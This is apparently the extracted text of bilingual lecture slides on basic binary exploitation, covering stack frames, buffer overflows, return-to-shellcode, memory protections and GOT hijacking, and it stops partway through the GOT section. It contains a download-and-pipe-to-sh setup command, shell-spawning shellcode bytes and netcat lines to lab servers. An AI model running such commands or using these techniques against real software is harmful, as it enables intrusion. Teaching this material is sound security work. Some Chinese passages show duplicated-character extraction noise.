pwn-basic
pwn-basic
segno
goo.gl/x1vvRf
Installation
$ wget http://tiny.cc/b3bqgz -O ~/pwn-basic-env-setup.sh
$ cat ~/pwn-basic-env-setup.sh | sh
Outline
• Introduction
• Binary Format
• Stack Frame
• Buffer Overflow
• Return to Text
Outline
• Return to Shellcode
• Protection
• GOT Hijacking
• ROP
• Return to PLT
• Return to libc
Introduction
Introduction
• Binary Exploitation
• Useful Tools
Binary Exploitation
• 利利⽤用⼀一⽀支 Binary 的漏洞洞 (Vulnerability) 來來達到控制程式的流
程 (Control Flow)
• ⽬目的在於獲得程式的控制權
• ⼜又稱 Pwn
Binary Exploitation
Payload
Control
Useful Tools
• objdump
• readelf
• IDA Pro
• GDB-PEDA
• Pwntools
objdump
$ objdump -d -M intel bof machine code
00000000004004b0 <_init>:
4004b0: 48 83 ec 08 sub rsp, 0x8
4004b4: 48 8b 05 3d 0b 20 00 mov rax, QWORD PTR
4004bb: 48 85 c0 test rax, rax
4004be: 74 02 je 4004c2 <_init+0x12>
4004c0: ff d0 call rax
4004c2: 48 83 c4 08 add rsp, 0x8
4004c6: c3 ret
...
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x400520
...
IDA Pro
IDA Pro
assembly
• checksec
• vmmap
• find
• …
────────────────────────────────── Registers ──────────────────────────────────
RAX: 0x400687 (<main>: push rbp)
RBX: 0x0
RCX: 0x400770 (<__libc_csu_init>: push r15)
RDX: 0x7fffffffe448 --> 0x7fffffffe6cf ("LC_ALL=en_US.UTF-8")
RSI: 0x7fffffffe438 --> 0x7fffffffe68b
RDI: 0x1
RBP: 0x400770 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffe358 --> 0x7ffff7a05b97 (<__libc_start_main+231>: mov edi,eax)
register state RIP: 0x400687 (<main>: push
R8 : 0x7ffff7dd0d80 --> 0x0
rbp)
r = remote('exploitme.example.com', 31337)
.interactive()
Lab 0
nc isc.taiwan-te.ch 9999
Binary Format
Binary Format
• Linux - ELF
.text
Memory Mapping
.rodata
.got
stack
.data 0x7ffffffff000
.bss
kernel space
In Disk
In Memory
x64 Calling Convention
x64 Calling Convention
• rdi, rsi, rdx, rcx, r8, r9, (push to stack)
• rdi, rsi, rdx, r10, r8, r9, (push to stack) for system call
stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);
0x800
stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);
0x700
0x800
stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);
0x700
0x800
stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);
0x700
0x800
stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);
0x700
0x800
stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);
0x700
0x800
stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);
0x700
0x800
stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);
0x700
0x800
stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);
0x700
0x800
stack
Stack Frame
Stack Frame
• Function Prologue
• Function Epilogue
• Example
Function Prologue
rsp = 0x7fffffffeff8 4004e7: push rbp
rbp = 0x7ffffffff000 4004e8: mov rbp, rsp
rip = 0x400522 4004eb: sub rsp, 0x10
stack
Function Prologue
rsp = 0x7fffffffeff0 4004e7: push rbp
rbp = 0x7ffffffff000 4004e8: mov rbp, rsp
rip = 0x4004e7 4004eb: sub rsp, 0x10
0x7fffffffeff8 0xdeadbeef
stack
Function Prologue
rsp = 0x7fffffffefe8 4004e7: push rbp
rbp = 0x7ffffffff000 4004e8: mov rbp, rsp
rip = 0x4004e8 4004eb: sub rsp, 0x10
0x7fffffffeff0 0x400527
0x7fffffffeff8 0xdeadbeef
stack
Function Prologue
rsp = 0x7fffffffefe8 4004e7: push rbp
rbp = 0x7fffffffefe8 4004e8: mov rbp, rsp
rip = 0x4004eb 4004eb: sub rsp, 0x10
0x7fffffffeff0 0x400527
0x7fffffffeff8 0xdeadbeef
0x7ffffffff000 0xfacebooc
stack
Function Prologue
rsp = 0x7fffffffefd8 4004e7: push rbp
rbp = 0x7fffffffefe8 4004e8: mov rbp, rsp
rip = 0x4004ef 4004eb: sub rsp, 0x10
0x7fffffffeff0 0x400527
0x7fffffffeff8 0xdeadbeef
0x7ffffffff000 0xfacebooc
stack
Function Prologue
rsp = 0x7fffffffefd8 4004e7: push rbp
rbp = 0x7fffffffefe8 4004e8: mov rbp, rsp
rip = 0x4004ef 4004eb: sub rsp, 0x10
0x7fffffffeff0 0x400527
0x7fffffffeff8 0xdeadbeef
0x7ffffffff000 0xfacebooc
stack
Function Prologue
rsp = 0x7fffffffefd8 4004e7: push rbp
rbp = 0x7fffffffefe8 4004e8: mov rbp, rsp
rip = 0x4004ef 4004eb: sub rsp, 0x10
0x7fffffffeff0 0x400527
0x7fffffffeff8 0xdeadbeef
0x7ffffffff000 0xfacebooc
stack
Function Epilogue
rsp = 0x7fffffffefd8 400513: leave
rbp = 0x7fffffffefe8 400514: ret
rip = 0x400513
0x7fffffffeff0 0x400527
0x7fffffffeff8 0xdeadbeef
0x7ffffffff000 0xfacebooc
stack
Function Epilogue
rsp = 0x7fffffffefd8 400513: leave
rbp = 0x7fffffffefe8 400514: ret
rip = 0x400513
0x7fffffffeff0 0x400527
mov rsp, rbp
0xdeadbeef
leave =
0x7fffffffeff8 pop rbp
0x7ffffffff000 0xfacebooc
stack
Function Epilogue
rsp = 0x7fffffffefe8 400513: leave
rbp = 0x7fffffffefe8 400514: ret
rip = 0x400513
0x7fffffffeff0 0x400527
mov rsp, rbp
0xdeadbeef
leave =
0x7fffffffeff8 pop rbp
0x7ffffffff000 0xfacebooc
stack
Function Epilogue
rsp = 0x7fffffffeff0 400513: leave
rbp = 0x7ffffffff000 400514: ret
rip = 0x400514
0x7fffffffefe8 0x7ffffffff000
stack
Function Epilogue
rsp = 0x7fffffffeff8 400513: leave
rbp = 0x7ffffffff000 400514: ret
rip = 0x400527
0x7fffffffefe8 0x7ffffffff000
0x7fffffffeff0 0x400527
mov rsp, rbp
0xdeadbeef
leave =
0x7fffffffeff8 rsp pop rbp
0x7ffffffff000 0xfacebooc rbp
stack
Function Epilogue
rsp = 0x7fffffffeff8 400513: leave
rbp = 0x7ffffffff000 400514: ret
rip =
0x7fffffffefe8 0x7ffffffff000
0x7fffffffeff0 0x400527
mov rsp, rbp
0xdeadbeef
leave =
0x7fffffffeff8 rsp pop rbp
0x7ffffffff000 0xfacebooc rbp
stack
Function Epilogue
rsp = 0x7fffffffeff8 400513: leave
rbp = 0x7ffffffff000 400514: ret
rip =
0x7fffffffefe8 0x7ffffffff000
0x7fffffffeff0 0x400527
mov rsp, rbp
0xdeadbeef
leave =
0x7fffffffeff8 rsp pop rbp
0x7ffffffff000 0xfacebooc rbp
stack
Example
#include <stdio.h>
int main()
{
int val;
val = add(2);
printf("%d\n", val);
return 0;
}
Example
0000000000400515 <main>:
400515: push rbp
400516: mov rbp, rsp
400519: sub rsp, 0x10
40051d: mov edi, 0x2
400522: call 4004e7 <add>
400527: mov DWORD PTR [rbp-0x4], eax
40052a: mov eax, DWORD PTR [rbp-0x4]
40052d: mov esi, eax
40052f: lea rdi, [rip+0x9e]
400536: mov eax, 0x0
40053b: call 4003f0 <printf@plt>
400540: mov eax, 0x0
400545: leave
400546: ret
old rbp
ret addr
Example
0000000000400515 <main>:
400515: push rbp
400516: mov rbp, rsp
400519: sub rsp, 0x10
40051d: mov edi, 0x2
400522: call 4004e7 <add>
400527: mov DWORD PTR [rbp-0x4], eax
40052a: mov eax, DWORD PTR [rbp-0x4]
40052d: mov esi, eax
40052f: lea rdi, [rip+0x9e]
400536: mov eax, 0x0
40053b: call 4003f0 <printf@plt>
400540: mov eax, 0x0 0x400527
400545: leave
400546: ret
old rbp
ret addr
Example
00000000004004e7 <add>:
4004e7: push rbp
4004e8: mov rbp, rsp
4004eb: sub rsp, 0x10
4004ef: mov DWORD PTR [rbp-0x4], edi
4004f2: cmp DWORD PTR [rbp-0x4], 0x1
4004f6: jne 4004ff <add+0x18>
4004f8: mov eax, 0x1
4004fd: jmp 400513 <add+0x2c>
4004ff: mov eax, DWORD PTR [rbp-0x4]
400502: sub eax, 0x1
400505: mov edi, eax
400507: call 4004e7 <add> 0x400527
old rbp
ret addr
Example
0000000000400515 <main>:
400515: push rbp
400516: mov rbp, rsp
400519: sub rsp, 0x10
40051d: mov edi, 0x2
400522: call 4004e7 <add>
400527: mov DWORD PTR [rbp-0x4], eax
40052a: mov eax, DWORD PTR [rbp-0x4]
40052d: mov esi, eax
40052f: lea rdi, [rip+0x9e]
400536: mov eax, 0x0
40053b: call 4003f0 <printf@plt>
400540: mov eax, 0x0
400545: leave
400546: ret
old rbp
ret addr
Example
0000000000400515 <main>:
400515: push rbp
400516: mov rbp, rsp
400519: sub rsp, 0x10
40051d: mov edi, 0x2
400522: call 4004e7 <add>
400527: mov DWORD PTR [rbp-0x4], eax
40052a: mov eax, DWORD PTR [rbp-0x4]
40052d: mov esi, eax
40052f: lea rdi, [rip+0x9e]
400536: mov eax, 0x0
40053b: call 4003f0 <printf@plt>
400540: mov eax, 0x0
400545: leave
400546: ret
ret addr
Example
0000000000400515 <main>:
400515: push rbp
400516: mov rbp, rsp
400519: sub rsp, 0x10
40051d: mov edi, 0x2
400522: call 4004e7 <add>
400527: mov DWORD PTR [rbp-0x4], eax
40052a: mov eax, DWORD PTR [rbp-0x4]
40052d: mov esi, eax
40052f: lea rdi, [rip+0x9e]
400536: mov eax, 0x0
40053b: call 4003f0 <printf@plt>
400540: mov eax, 0x0
400545: leave
400546: ret
Buffer Overflow
Buffer Overflow
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
char buf[0x10];
read(0, buf, 0x30);
return 0;
}
Buffer Overflow
#include <stdio.h>
#include <stdlib.h>
buf[0x0] ~ buf[0x7] rsp
#include <unistd.h>
buf[0x8] ~ buf[0x10]
int main()
{ old rbp rbp
char buf[0x10];
return address
read(0, buf, 0x30);
return 0;
}
stack
Buffer Overflow
#include <stdio.h>
#include <stdlib.h>
buf[0x0] ~ buf[0x7] ‘aaaaaaaa’ rsp
#include <unistd.h>
buf[0x8] ~ buf[0x10] ‘aaaaaaaa’
int main()
{ old rbp rbp
char buf[0x10];
return address
read(0, buf, 0x30);
return 0;
}
stack
input: aaaaaaaaaaaaaaaaa
0x10
Buffer Overflow
#include <stdio.h>
#include <stdlib.h>
buf[0x0] ~ buf[0x7] ‘aaaaaaaa’ rsp
#include <unistd.h>
buf[0x8] ~ buf[0x10] ‘aaaaaaaa’
int main()
{ ‘aaaaaaaa’ rbp
char buf[0x10];
‘aaaaaaaa’
read(0, buf, 0x30);
return 0;
}
stack
input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
0x20
Buffer Overflow
rsp = 0x7fffffffefd8
rbp = 0x7fffffffefe8
rip = 0x400677
0x7fffffffefd8 ‘aaaaaaaa’ rsp
0x7fffffffefe0 ‘aaaaaaaa’
0x7ffffffff000
stack
Buffer Overflow
rsp = 0x7fffffffefe8
rbp = 0x7fffffffefe8
rip = 0x400677
0x7fffffffefd8 ‘aaaaaaaa’
0x7fffffffefe0 ‘aaaaaaaa’
0x7ffffffff000
0x7fffffffefe0 ‘aaaaaaaa’
0x7fffffffefe8 ‘aaaaaaaa’
0x7ffffffff000
0x7fffffffefe0 ‘aaaaaaaa’
0x7fffffffefe8 ‘aaaaaaaa’
0x7ffffffff000
0x7fffffffefe0 ‘aaaaaaaa’
0x7fffffffefe8 ‘aaaaaaaa’
void secret_func() // 0x400607
{ 0x7fffffffeff0 ‘aaaaaaaa’
// show passwords
... 0x7fffffffeff8 rsp
}
0x7ffffffff000
stack
Return to Text
rsp = 0x7fffffffeff8
rbp = 0x6161616161616161
rip = 0x400607
0x7fffffffefd8 ‘aaaaaaaa’
0x7fffffffefe0 ‘aaaaaaaa’
0x7fffffffefe8 ‘aaaaaaaa’
void secret_func() // 0x400607
{ 0x7fffffffeff0 0x400607
// show passwords
... 0x7fffffffeff8 rsp
}
0x7ffffffff000
stack
Lab 1~2
nc isc.taiwan-te.ch 10000
nc isc.taiwan-te.ch 10001
Return to Shellcode
Return to Shellcode
$ objdump -d -M intel bof
00000000004004b0 <_init>:
4004b0: 48 83 ec 08 sub rsp, 0x8
4004b4: 48 8b 05 3d 0b 20 00 mov rax, QWORD PTR
4004bb: 48 85 c0 test rax, rax
4004be: 74 02 je 4004c2 <_init+0x12>
4004c0: ff d0 call rax
4004c2: 48 83 c4 08 add rsp, 0x8
4004c6: c3 ret
...
Return to Shellcode
• 若若有⼀一塊可寫可執⾏行行⼜又已知地址的 memory,我們就可以預
先寫好想要執⾏行行的 shellcode ,然後再覆蓋 return address
跳上去執⾏行行。
Return to Shellcode
rsp = 0x7fffffffefd8
rbp = 0x7fffffffefe8
rip =
0x7fffffffefd8 rsp
0x7fffffffefe0
0x7fffffffeff8
0x7ffffffff000
stack
Return to Shellcode
rsp = 0x7fffffffefd8
rbp = 0x7fffffffefe8
rip =
0x7fffffffefd8 rsp
0x7fffffffefe0
0x7fffffffefe0 ‘aaaaaaaa’
0x7fffffffefe0 ‘aaaaaaaa’
0x7fffffffefe8 ‘aaaaaaaa’
0x601060 31 c0 48 bb
d1 9d 96 91 0x7fffffffeff0 0x601060
d0 8c 97 ff
48 f7 db 53 0x7fffffffeff8 rsp
54 5f 99 52
57 54 5e b0 0x7ffffffff000
3b 0f 05
stack
Shellcode that opens shell
Return to Shellcode
int execve(const char *filename,
char *const argv[],
char *const envp[]);
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0
rax = 0x3b
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0
rax = 0x3b
rax = 0x3b
h s / n i b /
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0
rax = 0x3b
rax =
rdi = mov rbx, 0x68732f6e69622f
rsi =
push rbx
rdx =
rsp = 0x7fffffffefe8
mov rdi, rsp
rbx = xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
0x7fffffffefe8 rsp
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0
rax = 0x3b
rax =
rdi = mov rbx, 0x68732f6e69622f
rsi =
push rbx
rdx =
rsp = 0x7fffffffefe8
mov rdi, rsp
rbx = “/bin/sh” xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
0x7fffffffefe8 rsp
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0
rax = 0x3b
rax =
rdi = mov rbx, 0x68732f6e69622f
rsi =
push rbx
rdx =
rsp = 0x7fffffffefe0
mov rdi, rsp
rbx = “/bin/sh” xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
0x7fffffffefe0 “/bin/sh” rsp
0x7fffffffefe8
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0
rax = 0x3b
rax =
rdi = 0x7fffffffefe0 -> “/bin/sh” mov rbx, 0x68732f6e69622f
rsi =
push rbx
rdx =
rsp = 0x7fffffffefe0
mov rdi, rsp
rbx = “/bin/sh” xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
0x7fffffffefe0 “/bin/sh” rsp
0x7fffffffefe8
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0
rax = 0x3b
rax =
rdi = 0x7fffffffefe0 -> “/bin/sh” mov rbx, 0x68732f6e69622f
rsi = 0x0
push rbx
rdx =
rsp = 0x7fffffffefe0
mov rdi, rsp
rbx = “/bin/sh” xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
0x7fffffffefe0 “/bin/sh” rsp
0x7fffffffefe8
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0
rax = 0x3b
rax =
rdi = 0x7fffffffefe0 -> “/bin/sh” mov rbx, 0x68732f6e69622f
rsi = 0x0
push rbx
rdx = 0x0
rsp = 0x7fffffffefe0
mov rdi, rsp
rbx = “/bin/sh” xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
0x7fffffffefe0 “/bin/sh” rsp
0x7fffffffefe8
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0
rax = 0x3b
rax = 0x3b
rdi = 0x7fffffffefe0 -> “/bin/sh” mov rbx, 0x68732f6e69622f
rsi = 0x0
push rbx
rdx = 0x0
rsp = 0x7fffffffefe0
mov rdi, rsp
rbx = “/bin/sh” xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
0x7fffffffefe0 “/bin/sh” rsp
0x7fffffffefe8
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0
rax = 0x3b
rax = 0x3b
rdi = 0x7fffffffefe0 -> “/bin/sh” mov rbx, 0x68732f6e69622f
rsi = 0x0
push rbx
rdx = 0x0
rsp = 0x7fffffffefe0
mov rdi, rsp
rbx = “/bin/sh” xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
0x7fffffffefe0 “/bin/sh” rsp
0x7fffffffefe8
Lab 3
nc isc.taiwan-te.ch 10002
Protection
Protection
• Stack Guard
• DEP
• ASLR
• PIE
Stack Guard
• 做完 function prologue 的時候會將隨機⽣生成的亂數塞入
stack 中, function return 前會檢查該亂數是否有被更更動
過,若若發現更更動就立即結束程式
• ⼜又稱 canary
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax
rax =
rcx =
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax
rax =
rcx =
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax
rax = 0xb35cd9c6dd55df00
rcx =
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax
rax = 0xb35cd9c6dd55df00
rcx =
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax ‘aaaaaaaa’
‘aaaaaaaa’
‘aaaaaaaa’
rax =
rcx =
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax 0x6161616161616161
0x6161616161616161
0x6161616161616161
rax =
rcx =
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax 0x6161616161616161
0x6161616161616161
0x6161616161616161
rax =
rcx = 0x6161616161616161
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax 0x6161616161616161
0x6161616161616161
0x6161616161616161
rax =
rcx = 0xd23db8a7bc34be61
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax 0x6161616161616161
0x6161616161616161
0x6161616161616161
rax =
rcx = 0xd23db8a7bc34be61
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax 0x6161616161616161
0x6161616161616161
0x6161616161616161
rax =
rcx = 0xd23db8a7bc34be61
stack
DEP
• Data execution prevention
• 可執⾏行行的地⽅方不能寫,可寫的地⽅方不能執⾏行行
• ⼜又稱 NX
Start End Perm Name
0x00400000 0x00401000 r-xp /mnt/hgfs/Share/ntustisc/bof
0x00600000 0x00601000 r--p /mnt/hgfs/Share/ntustisc/bof
0x00601000 0x00602000 rw-p /mnt/hgfs/Share/ntustisc/bof
0x00602000 0x00623000 rw-p [heap]
0x00007ffff79e4000 0x00007ffff7bcb000 r-xp /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 ---p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcb000 0x00007ffff7dcf000 r--p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 rw-p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dd1000 0x00007ffff7dd5000 rw-p mapped
0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7fea000 0x00007ffff7fec000 rw-p mapped
0x00007ffff7ff7000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
ASLR
• Address Space Layout Randomization
heap heap
heap
library library
library
stack
stack stack
data VMA
data VMA data VMA
heap heap
heap
library library
library
stack
stack stack
• GOT Hijacking
• RELRO
Lazy Binding
• 因為不⼀一定每個 library function 都會被執⾏行行到,所以採⽤用
lazy binding 機制,當第⼀一次執⾏行行到 library function 時才會
去尋找真正的 address 並進⾏行行 binding
Global Offset Table
• GOT 為 library function 的指標陣列列,因為 lazy binding 機
制,因此⼀一開始不會知道真實位置,取⽽而代之的是擺 plt 段
的 code
Global Offset Table
ELF Header
.init
.plt
.text
GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0 index
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
<_dl_runtime_resolve_xsave> 400546: jmp QWORD PTR [601010] <GOT+0x10>
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
<_dl_runtime_resolve_xsave> 400546: jmp QWORD PTR [601010] <GOT+0x10>
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x7ffff7a649c0
0x601018 <_IO_puts>
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
Lazy Binding Procedure
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x7ffff7a649c0
0x601018 <_IO_puts>
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
Lazy Binding Procedure
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x7ffff7a649c0
0x601018 <_IO_puts>
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
Lazy Binding Procedure
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x7ffff7a649c0
0x601018 <_IO_puts>
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
Lazy Binding Procedure
00007ffff7a649c0 <_IO_puts>:
...
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x7ffff7a649c0
0x601018 <_IO_puts>
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
GOT Hijacking
• 由於 lazy binding 的機制,GOT 可寫,因此改寫 GOT 造成
任意控制程式流程
GOT Hijacking
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 <_IO_puts>
0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6
GOT
GOT Hijacking
0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
